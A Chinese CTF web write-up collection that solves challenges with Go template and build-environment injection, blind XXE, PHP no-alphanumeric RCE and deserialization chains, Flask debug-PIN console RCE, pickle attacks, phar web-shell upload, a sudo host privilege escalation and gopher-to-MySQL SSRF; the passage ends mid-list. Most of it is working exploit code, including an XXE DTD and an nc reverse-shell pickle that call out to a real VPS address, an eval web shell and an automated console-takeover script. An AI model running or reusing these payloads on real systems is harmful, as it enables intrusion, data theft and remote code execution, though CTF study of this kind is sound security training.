考点:go模板注入+Go build 环境变量注入

package main

import (
    "fmt"
    "github.com/gin-contrib/cors"
    "io"
    "net/http"
    "os"
    "os/exec"
    "path/filepath"
    "text/template"
    "time"

    "github.com/gin-gonic/gin"
)

type Utils struct{}

func (u *Utils) GetReader(path string) (io.Reader, error) {
    return os.Open(path)
}

func (u *Utils) ReadAll(r io.Reader) (string, error) {
    data, err := io.ReadAll(r)
    if err != nil {
        return "", err
    }
    return string(data), nil
}

func apiKeyMiddleware() gin.HandlerFunc {
    requiredKey := os.Getenv("API_KEY")
    if requiredKey == "" {
        panic("错误:API_KEY 环境变量未设置!")
    }

    return func(c *gin.Context) {
        providedKey := c.GetHeader("X-API-Key")
        if providedKey != requiredKey {
            c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "无效的 API Key"})
            return
        }
        c.Next()
    }
}

type BuildRequest struct {
    Env  map[string]string `json:"env"`
    Code string            `json:"code"`
}

const BuildDir = "/tmp/build"

func main() {
    r := gin.Default()

    if err := os.MkdirAll(BuildDir, 0755); err != nil {
        panic(fmt.Sprintf("无法创建固定的编译目录: %v", err))
    }

    r.Use(cors.Default())

    r.StaticFile("/vip.html", "./vip.html")

    r.GET("/", func(c *gin.Context) {
        c.File("./index.html")
    })

    r.GET("/api", func(c *gin.Context) {
        templateQuery := c.Query("template")

        tplString := fmt.Sprintf("输出结果: %s", templateQuery)

        data := map[string]interface{}{
            "Utils":  &Utils{},
            "Getenv": os.Getenv,
        }

        tmpl, err := template.New("name").Parse(tplString)
        if err != nil {
            c.String(http.StatusBadRequest, "模板解析错误: %s", err.Error())
            return
        }

        err = tmpl.Execute(c.Writer, data)
        if err != nil {
            c.String(http.StatusInternalServerError, "模板执行错误: %s", err.Error())
            return
        }
    })

    vipGroup := r.Group("/vip")
    r.Use(cors.New(cors.Config{
        AllowAllOrigins: true,
        AllowMethods:    []string{"GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS"},
        AllowHeaders:    []string{"Origin", "Content-Type", "X-API-Key"},
        MaxAge:          12 * time.Hour,
    }))
    vipGroup.Use(apiKeyMiddleware())
    {
        vipGroup.POST("/build", buildHandler)
    }

    r.Run(":8080")
}

func buildHandler(c *gin.Context) {
    var req BuildRequest
    if err := c.ShouldBindJSON(&req); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求格式"})
        return
    }

    sourceCodePath := filepath.Join(BuildDir, "main.go")
    if err := os.WriteFile(sourceCodePath, []byte(req.Code), 0644); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "写入源代码文件失败"})
        return
    }

    defer os.Remove(BuildDir + "/main.go")
    defer os.Remove(BuildDir + "/main_executable")
    defer os.RemoveAll(BuildDir + "/go-build")
    defer os.RemoveAll(BuildDir + "/gopath")

    var envs []string
    for k, v := range req.Env {
        envs = append(envs, fmt.Sprintf("%s=%s", k, v))
    }

    outputFileName := "main_executable"
    cmd := exec.Command("go", "build", "-o", outputFileName, "main.go")
    cmd.Dir = BuildDir
    cmd.Env = append(os.Environ(), envs...)

    output, err := cmd.CombinedOutput()
    if err != nil {
        c.JSON(http.StatusOK, gin.H{
            "error":   "编译失败",
            "details": string(output),
        })
        return
    }
    c.File(filepath.Join(BuildDir, outputFileName))
}

简单看一下代码,2功能,第一个是模板注入,但是只能用GetReader,ReadAll函数,所以只有文件读取功能,另一个是将go编译,但是需要key,所以这个模板注入显然是读key

{{.Utils.ReadAll (.Utils.GetReader "/proc/self/environ")}}

{{.Utils.ReadAll (.Utils.GetReader "/app/secret_key.txt")}}

得到qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr

得到key后就看着go编译功能,搜一下有

N1CTF Junior 2024 Web Official Writeup - X1r0z Blog

[2024 N1CTF Junior Web Writeup - Boogiepop Doesn't Laugh](https://boogipop.com/2024/02/05/2024 N1CTF Junior Web Writeup/#MyGo)

2024N1CTF Junior的原题,打Go build 环境变量注入,确定一下GOARCH

{{.Utils.ReadAll (.Utils.GetReader "/proc/sys/kernel/osrelease")}}

然后开打(这个命令奇特的是,**false**确保编译过程失败后Go编译器会返回错误信息,错误信息中包含我们通过>&2重定向的输出,也就算命令的回显)

{
  "env": {
    "GOOS": "linux",
    "GOARCH": "amd64", 
    "CGO_ENABLED": "1",
    "CC": "/bin/sh -c \"ls -al / >&2; false\"",
    "GOGCCFLAGS": ""
  },
  "code": "package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n    cs := C.CString(\"Hello from stdio\")\n    C.myprint(cs)\n    C.free(unsafe.Pointer(cs))\n}"
}

suid提权看看

{
  "env": {
    "GOOS": "linux",
    "GOARCH": "amd64", 
    "CGO_ENABLED": "1",
    "CC": "/bin/sh -c \"find / -type f -perm -4000 2>/dev/null | head -5 >&2; false\"",
    "GOGCCFLAGS": ""
  },
  "code": "package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n    cs := C.CString(\"Hello from stdio\")\n    C.myprint(cs)\n    C.free(unsafe.Pointer(cs))\n}"
}

发现一个suid程序,发现无相关命令,执行这个程序

{
  "env": {
    "GOOS": "linux",
    "GOARCH": "amd64", 
    "CGO_ENABLED": "1",
    "CC": "/bin/sh -c \"/usr/local/bin/flagread >&2; false\"",
    "GOGCCFLAGS": ""
  },
  "code": "package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n    cs := C.CString(\"Hello from stdio\")\n    C.myprint(cs)\n    C.free(unsafe.Pointer(cs))\n}"
}

最后一句,deepseek-nb

查查忆

考点:无回显xxe+iconv编码绕过waf

源码提示flag in /f1111llllaa44g

过滤了伪协议关键字与<!ENTITY,而且还无回显,无回显的话用vps外带,过滤用编码绕过,来写写poc

1.xml内容,这里我在1.dtd当前目录起了一个pyhton服务器,因为dtd必须要能公网访问到,然后vps监听5000端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://101.200.39.193/1.dtd">
%dtd;%code;%send;
]>

1.dtd的内容,使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器,(1.dtd内部的%号要进行实体编码成&#x25。这里卡我半天,因为wp这里错了)

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % code "<!ENTITY &#x25; send SYSTEM 'http://101.200.39.193:5000/%file;'>">

接着使用编码绕过过滤(此命令lunix环境执行)

cat 1.xml | iconv -f utf-8 -t utf-7 > payload.8-7.xml

然后打

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE a +AFs
    +ADwAIQ-ENTITY +ACU dtd SYSTEM +ACI-http://101.200.39.193/1.dtd+ACIAPg
    +ACU-dtd+ADsAJQ-code+ADsAJQ-send+ADs
+AF0APg-

XXE漏洞&绕过 - CxAgoni - 博客园

ezphp

考点:取反rce+利用通配符*把第一个列出的文件名当作命令,剩下的文件名当作参数绕过字符限制

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['c1n_y0.u g3t+fl&g?'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
if(strlen($code)>14){
    die("is tooooooooooooooooooo long!");
}
echo "Flag is in flag.php~~ (local).";
@eval($code);
?> Flag is in flag.php~~ (local).

这里打无数字字母rce,还限了字符,那么肯定打取反,因为取反用的字符少,传参的话就不多说,重点看怎么构造命令,先写一个demo看看

<?php
echo urlencode('c1n[y0.u g3t+fl&g?')."\n";

echo urlencode(~'ls /');

eval(
'$_ = ~urldecode("%93%8C%DF%D0");`$_`;'
);
//传参时不用urldecode解码,浏览器会自动解,所以此时传参是$_=~%93%8C%DF%D0;`$_`;
?>

这里执行可以执行ls /,但是由于不能echo,看不到命令的回显,继续思考,上面的demo若是除去命令的字符就是

$_=~;`$_`;		//一共10个字符,所以我们只能用4个字符执行命令

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客

参考此文章,用到的技巧是

输入统配符 ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数*

>cat 
>flag.php
*           (等同于命令:cat flag.php)
<?php

echo urlencode(~'>cat');
echo urlencode(~'* >=');
//分别打$_=~%C1%9C%9E%8B;`$_`;与$_=~%D5%DF%C1%C2;`$_`;即可
?>

打完flag.php就写进了=文件(由于是通配符*,所以应该是当前目录所有文件写入了=),访问/=就行

得到flag

week4

Path to Hero

<?php
highlight_file('index.php');

Class Start
{
    public $ishero;
    public $adventure;


    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊,去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧!<br>";
        }
    }
}

class Sword
{
    public $test1;
    public $test2;
    public $go;

    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}

class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了!魔王<br>";

        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗?<br>";
        }
        return "<br>";
    }
}

class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了?<br>";
        eval($arg[0]);
    }
}

if (isset($_POST["HERO"])) {
    unserialize($_POST["HERO"]);
}
<?php


Class Start
{
    public $ishero="hero1";
    public $adventure;


    public function __wakeup(){

        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
            echo "<br>勇者啊,去寻找利刃吧<br>";

            return $this->adventure->sword;
        }
        else{
            echo "前方的区域以后再来探索吧!<br>";
        }
    }
}

class Sword
{
    public $test1="QNKCDZO";//md5弱比较
    public $test2="240610708";
    public $go;

    public function __get($name)
    {
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
            echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
            echo $this->go;
        } else {
            echo "Dead";
        }
    }
}

class Mon3tr
{
    private $result;
    public $end;

    public function __toString()
    {
        $result = new Treasure();
        echo "到此为止了!魔王<br>";

        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
            $result->end($this->end);
        } else {
            echo "难道……要输了吗?<br>";
        }
        return "<br>";
    }
}

class Treasure
{
    public function __call($name, $arg)
    {
        echo "结束了?<br>";
        eval($arg[0]);
    }
}

$a=new Start();
$a->adventure=new Sword();
$a->adventure->go=new Mon3tr();
$a->adventure->go->end="readfile('/'.'fl'.'ag');";//print_r(scandir('/'));

echo urlencode(serialize($a));

好像什么都能读

考点:计算pin

先读app.py

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
    return render_template('index.html')

@app.route('/read')
def read():
    # 获取请求参数中的文件名
    filename = request.args.get('filename')
    if not filename:
        return "需要提供文件名", 400
    with open(filename, 'r') as file:
            content = file.read()
    return content, 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

可以读文件,题目提示说要计算什么,debug开启了那就是计算pin码

#计算pin的必要条件
1.username 在可以任意文件读的条件下读 /etc/passwd#这里是ctf
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

报错拿app.py的绝对路径

/home/ctf/.local/lib/python3.13/site-packages/flask/app.py

uuidnode mac地址的十进制表达

任意文件读 /sys/class/net/eth0/address得到5a:fa:fe:00:f9:bd,去掉冒号转10进制,得到100034049800637

机器码

机器ID可能在/sys/machine-id下,如果使用docker,则需要查找/proc/sys/kernel/random/boot_id(/etc/machine-id有时候行),得到前半段,/proc/self/cgroup得到后半段,拼接后计算。

89b34b88-6f33-4c4b-8a30-69a4ba41fd0e		->	/proc/sys/kernel/random/boot_id

这里读/proc/self/cgroup啥也不是,读/proc/self/cpuset也只有/,所以应该是空

import hashlib
from itertools import chain
import time

probably_public_bits = [
    'ctf' # username 可通过/etc/passwd获取
    'flask.app', # modname默认值
    'Flask',  #默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '100034049800637', # /sys/class/net/eth0/address mac地址十进制
    # /etc/machine-id
    '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

得到

804-332-693
Cookie: __wzd13cb7e0bab71852cfef7=1762348323|c39381d02922

接下来获取s与frm(frm如果没有报错信息的话值为0),访问/console,记得修改HOST:获取SECRET,查看源码就有了,得到BnLYMaYyEH86iKN7Uw43

然后打(记得加上cookie)

/console?__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20/fl*%27).read()&frm=0&s=BnLYMaYyEH86iKN7Uw43

wp的一键自动化脚本

from requests import get
import hashlib
from itertools import chain
import re

# 目标主机地址
HOST = "http://challenge.ilovectf.cn:30021"

def getfile(filename):
    try:
        # 发送GET请求获取文件内容
        response = get(f"{HOST}/read?filename={filename}")
        return response.text
    except Exception as e:
        print(f"错误: {e}")
        return None

def get_pin(probably_public_bits, private_bits):
    # 使用SHA1哈希算法
    h = hashlib.sha1()
    
    # 合并公钥和私钥部分并更新哈希
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        # 如果是字符串则转为UTF-8编码的字节流
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    
    # 添加cookiesalt到哈希计算
    h.update(b'cookiesalt')
    
    # 生成cookie名称
    cookie_name = '__wzd' + h.hexdigest()[:20]
    
    # 计算PIN码数字部分
    h.update(b'pinsalt')
    # 将哈希结果转为整数并取前9位
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    # 格式化PIN码为分组形式(如xxxxx-xxxx-xxx)
    rv = None
    if rv is None:
        # 尝试不同的分组大小
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    return rv

def get_secret():
    # 访问控制台页面,设置Host头为127.0.0.1
    response = get(f"{HOST}/console", headers={"Host": "127.0.0.1"})
    # 使用正则表达式匹配SECRET值
    match = re.search(r'SECRET\s*=\s*["\']([^"\']+)["\']', response.text)
    if match:
        return match.group(1)
    return None

def authenticate(secret, pin):
    # 发送认证请求
    response = get(
        f"{HOST}/console?__debugger__=yes&cmd=pinauth&pin={pin}&s={secret}",
        headers={"Host": "127.0.0.1"}
    )
    # 返回设置的Cookie
    return response.headers.get("Set-Cookie")

def execute_code(cookie, code, secret):
    response = get(
        f"{HOST}/console?__debugger__=yes&cmd={code}&frm=0&s={secret}",
        headers={
            "Host": "127.0.0.1",
            "Cookie": cookie
        }
    )
    return response.text

if __name__ == "__main__":
    # 读取网络接口eth0的MAC地址并处理
    mac = getfile("/sys/class/net/eth0/address")
    # 将MAC地址转换为整数格式(去除冒号并转为十六进制整数)
    mac = str(int("0x" + "".join(mac.split(":")).strip(), 16))
    
    # 读取内核启动ID
    boot_id = getfile("/proc/sys/kernel/random/boot_id").strip()
    
    # 公钥部分(通常为默认值,可能需要根据目标环境调整)
    probably_public_bits = [
        'ctf',  # 运行Flask的用户名
        'flask.app',  # 应用名称
        'Flask',  # 框架类名
        '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'  # Flask库的路径,需根据目标环境修改
    ]
    
    # 私钥部分(由MAC地址和启动ID组成)
    private_bits = [
        mac,
        boot_id
    ]
    
    # 计算并打印控制台PIN码
    pin = get_pin(probably_public_bits, private_bits)
    print(f"找到控制台PIN码: {pin}")
    
    # 获取SECRET值并打印
    secret = get_secret()
    print(f"找到SECRET值: {secret}")
    
    # 进行认证并获取Cookie
    cookie = authenticate(secret, pin)
    print(f"获取到Cookie: {cookie}")
    
    print("正在执行代码...")
    # 执行命令读取flag
    output = execute_code(cookie, "__import__('os').popen('cat /fl*').read()", secret)
    
    # 打印原始执行结果
    print("原始输出:", output)
    
    flag_pattern = re.compile(r'flag\{.*?\}')
    match = flag_pattern.search(output)
    if match:
        print("提取到的Flag:", match.group())  # 输出匹配到的flag
    else:
        print("未找到符合 flag{...} 格式的内容")
    
    print("完成")

关于ctf中flask算pin总结_ctf:flask-CSDN博客

这又又是什么函数

考点:pickle内存马

依旧访问src得源码

from flask import Flask, request, render_template
import pickle
import base64

app = Flask(__name__)

PICKLE_BLACKLIST = [
    b'eval',
    b'os', 
    b'x80',
    b'before',
    b'after',
]

@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/src', methods=['GET', 'POST'])q
def src():
    return open(__file__, encoding="utf-8").read()

@app.route('/deser', methods=['GET', 'POST'])
def deser():
    a = request.form.get('a')
    q
    if not a:
        return "fail"
    
    try:
        decoded_data = base64.b64decode(a)
        print(decoded_data)
    except:
        return "fail"
    
    # 检查黑名单
    for forbidden in PICKLE_BLACKLIST:
        if forbidden in decoded_data:
            return "waf"
    
    try:
        result = pickle.loads(decoded_data)
        return "done"
    except:
        return "fail"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

用协议0绕过wafb'x80',无回显打反弹shell

import pickle
import base64

class Exploit:
    def __reduce__(self):
        import subprocess
        # 使用nc反弹shell
        return (subprocess.Popen, (['nc', '-e', '/bin/bash', '101.200.39.193', '5000'],))

# 使用协议 0 序列化
payload = pickle.dumps(Exploit(), protocol=0)
b64_payload = base64.b64encode(payload).decode()
print(b64_payload)

发现不出网,那就打内存马,看了看过滤,只能利用error_handler_spec钩子函数,告诉了flag在根,直接opne读取就行

import pickle
import base64
import  os


class A(object):
    def  __reduce__(self):
        return (exec, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:open('/flag').read()",))


# 使用协议 0 序列化
payload = pickle.dumps(A(), protocol=0)
b64_payload = base64.b64encode(payload).decode()
print(b64_payload)

看了看wp,差不多

import base64

opcode = b'''cbuiltins
exec
(S'global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a: __import__('o'+'s').popen(request.args.get('0')).read()'
tR.'''

payload = base64.b64encode(opcode).decode()
print(payload)

来getshell 速度!

考点:include包含phar+Linux sudo host 权限提升漏洞-[CVE-2025-32462]

<?php
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
    'application/zip',
    'application/x-bzip2',
    'application/gzip',
    'application/x-gzip',
    'application/x-xz',
    'application/x-7z-compressed',
];


function filter($tempfile)
{
    $data = file_get_contents($tempfile);
    if (
        stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
        stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
    ) {
        return true;
    }
    return false;
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
            die("Nope :<");
        }

        // mimetype check
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mime_type, $allowed_mime_types)) {
            die('unexpected mimetype');
        }

        // ext check
        $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

        if (!in_array($ext, $allowed_extensions)) {
            die('unexpected extension');
        }

        if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
            echo "File upload success!Please include with 'url'";
        }else{
            echo "fail";
        }     
    }
}

if (isset($_GET['url'])) {
    
$include_url = basename($_GET['url']);


if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
    die("unexpected extension");
}

include '/tmp/' . $include_url;
exit;
}
?>
<form enctype='multipart/form-data' method='post'>
    <input type='file' name='file'>
    <input type="submit" value="upload"></p>

</form>

一眼打include解析phar恶意文件,构造一共恶意phar,然后gz压缩绕过waf,然后上传就行

<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();

$stub = <<<'STUB'
<?php
  $filename="/var/www/html/2.php";
  $content="<?php eval(\$_POST[1]);?>";
  file_put_contents($filename, $content);
        __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);

?>

然后去url传参包含恶意phar

url=exp.phar.gz

然后就可以执行命令

但是无法拿flag,那就提权

find / -user root -perm -4000 -print 2>/dev/null

发现sudo提权无效

看一看sudo版本

发现可以打Linux sudo host 权限提升漏洞-[CVE-2025-32462]

(ฅ>ω<*ฅ) 你肥来啦!

具体内容为sudo版本在1.8.8 =
sudo = 1.8.32以及1.9.0 = sudo = 1.9.17时,sudo的-h( - host不是 - help)选项存在漏洞,如果
在/etc/sudoers里给用户在一个虚拟主机或无法解析的主机上配置了sudo权限,使用sudo -h host
[command]将会提权到本地。

允许www-data 在虚构的远程主机asd.asd.asd 上执行所有命令,同时确保其在本地主机无权限:www-data asd.asd.asd = NOPASSWD:ALL.然后执行

1=system('sudo -h asd.asd.asd cat /f*');

android or apple

考点:代码审计之ssrf打mysql端口服务的sql注入

题目重要的是以下代码

生成二维码的页面调用了 Auth : generateAndDisplayCode() 方法

<?php
error_reporting(0);

spl_autoload_register(function ($class_name) {
    $file = __DIR__ . '/lib/' . str_replace('\\', '/', $class_name) . '.php';
    if (file_exists($file)) {
        require_once $file;
    }
});


try {
    $auth = new Auth();
    $auth->generateAndDisplayCode();
} catch (Exception $e) {
    header("HTTP/1.1 500 Internal Server Error");
    echo "<p>服务暂时不可用,请稍后重试。</p>";
}

跟进看看

<?php
class Auth {
    private $logger;
    private $currentUser;

    public function __construct() {
        $this->logger = new Logger();
        $this->currentUser = new User('guest');
    }

    public function generateAndDisplayCode() {
        $this->logger->log('User ' . $this->currentUser->getUsername() . ' requested a dynamic QR code.');
        try {
            $processor = new \Util\ImageProcessor();
            
            $imageData = $processor->fetch('dynamic_qr_code');

            if ($imageData) {
                $this->saveAndDisplay($imageData);
            } else {
                throw new Exception("Retrieved empty image data from processor.");
            }
        } catch (Exception $e) {
            $this->logger->log("Error during code generation: " . $e->getMessage(), 'ERROR');
            throw $e; 
        }
    }

    private function saveAndDisplay(string $data): void {
        $images_dir = __DIR__ . '/../images/';
        
        if (!is_dir($images_dir)) @mkdir($images_dir, 0755, true);
        if (!is_writable($images_dir)) {
             throw new Exception("Image directory is not writable.");
        }
        
        $filename = md5(uniqid('', true)) . '.jpg';
        $filepath = $images_dir . $filename;
        file_put_contents($filepath, $data);

        echo "<p>本次登录的验证码为:</p>";
        echo "<img src=\"./images/" . htmlspecialchars($filename) . "\" alt=\"Verification Code\"/>";
    }


    public function loginWithPassword(string $user, string $pass): bool { return false; }
    public function logout(): void {}
}

发现ImageProcessor中有ssrf

<?php
namespace Util;

class ImageProcessor {
    private const ALLOWED_DOMAINS = ['api.qrserver.com', 'internal.sso.service'];

    public function fetch(string $imageType) {
        $url = $this->getSourceUrl($imageType);
        $this->securityCheck($url);
        return $this->Request($url);
    }

    private function getSourceUrl(string $imageType): string {
        if ($imageType === 'dynamic_qr_code') {
            $defaultUrl = \Config::get('qr_service.default_url');
            return $_SERVER['HTTP_X_VERIFY_CODE_URL'] ?? $defaultUrl;
        }
        return \Config::get('default_image_url');
    }
    
    private function securityCheck(string $url): void {
        $host = parse_url($url, PHP_URL_HOST);
        if ($host && !in_array($host, self::ALLOWED_DOMAINS)) {
            (new \Logger())->log("Potential SSRF attempt to non-whitelisted domain: " . $host, 'WARNING');
        }
    }

    private function Request(string $url) {
        $parts = parse_url($url);
        if (!$parts || !isset($parts['host']) || !isset($parts['scheme'])) {
            return false;
        }

        if (in_array($parts['scheme'], ['http', 'https'])) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            $result = curl_exec($ch);
            curl_close($ch);
            return $result;
        }

        if (!isset($parts['port'])) {
            return false;
        }
        $fp = @fsockopen($parts['host'], $parts['port'], $errno, $errstr, 5);

        if (!$fp) {
            return false;
        }

        $payload = isset($parts['path']) ? urldecode(substr($parts['path'], 1)) : '';
        
        if (!empty($payload)) {
            fwrite($fp, $payload);
        }
        
        $response = '';
        stream_set_timeout($fp, 5);
        while (!feof($fp)) {
            $response .= fread($fp, 8192);
        }
        fclose($fp);

        return $response;
    }

    public function resize(string $imageData, int $width, int $height): string { return $imageData; }
    public function addWatermark(string $imageData, string $text): string { return $imageData; }
}

调用链是fetch->getSourceUrl->securityCheck->Request,而且securityCheck-这个函数还没啥用,不可以阻止程序,观察发现造成ssrf的地方在 $_SERVER['HTTP_X_VERIFY_CODE_URL'],而这个ssrf的结果在saveAndDisplay类中可以发现,结果写入了图片中

这里ssrf不能打file协议,因为Request方法中对非HTTP/HTTPS协议存在强制性的端口检查,而 file://协议本身不基于网络端口进行通信,那就用dict协议进行端口探测

发现有mysql服务

那就打gopher 协议+sql注入,gopher它允许直接发送原始TCP数据到MySQL端口,所有MySQL服务会正常解析sql语句并执行SQL查询。但是这里使用的是 fsockopen ,而更常见的是用 curl 来进行gopher的攻击,curl对gopher数据包的识别依赖于 _ ,fsockopen不依赖(可以看官方github库的源码)所以用gopherus生成的paylaod再去掉 _ 就可以打

python2 gopherus.py --exploit mysql
show databases;

gopher://127.0.0.1:3306/%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01  

select group_concat(table_name) from information_schema.tables where table_schema='ctf_db'

得到flag,直接打

select * from ctf_db.flags

waf?waf!

考点:利用服务器前后端对CL与TE的解析异常进行http请求走私

import socket
import threading
from urllib.parse import parse_qs, urlparse
from flask import Flask, request,render_template
import unicodedata

BLACKLIST_KEYWORDS = [                                                                                            
'write', 'eval', 'assert', 'read', 'exec', 'apply', 'locals', 'load_module', 'json.loads', 'urllib.request.urlopen', 'subprocess', 'threading', 'tempfile', 'run', 'yield', 'inspect', 'netrc', 'globals', 'os', 'urandom', 'register', 'breakpoint', 'environ', 'str.format_map', 'tarfile', 'traceback', 'open', 'listen', 'info_leak', 'vars', 'exec_hook',
'__import__', 'exec', 'eval', 'compile', 'open', 'input', 'raw_input', 'getattr', 'setattr', 'delattr', 'hasattr', 'globals', 'locals', 'vars', 'dir', 'help', 'license', 'copyright', 'credits', 'exit', 'quit', 'breakpoint', 'os', 'sys', 'subprocess', 'commands', 'popen', 'popen2', 'popen3', 'popen4', 'system',
'popen', 'spawn', 'fork', 'execve', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'startfile', 'remove', 'unlink', 'rmdir', 'mkdir', 'chdir', 'chmod', 'chown', 'rename', 'replace', 'walk', 'listdir', 'stat', 'fstat', 'lstat', 'getenv', 'putenv', 'environ', 'system',
'urandom', 'socket', 'urllib', 'urllib2', 'requests', 'http', 'ftplib', 'smtplib', 'socketserver', 'http.server', 'xmlrpc', 'jsonrpc', 'pickle', 'marshal', 'load', 'loads', 'dump', 'dumps', 'class', 'base',  'mro', '__subclasses__', '__dict__', '__globals__',
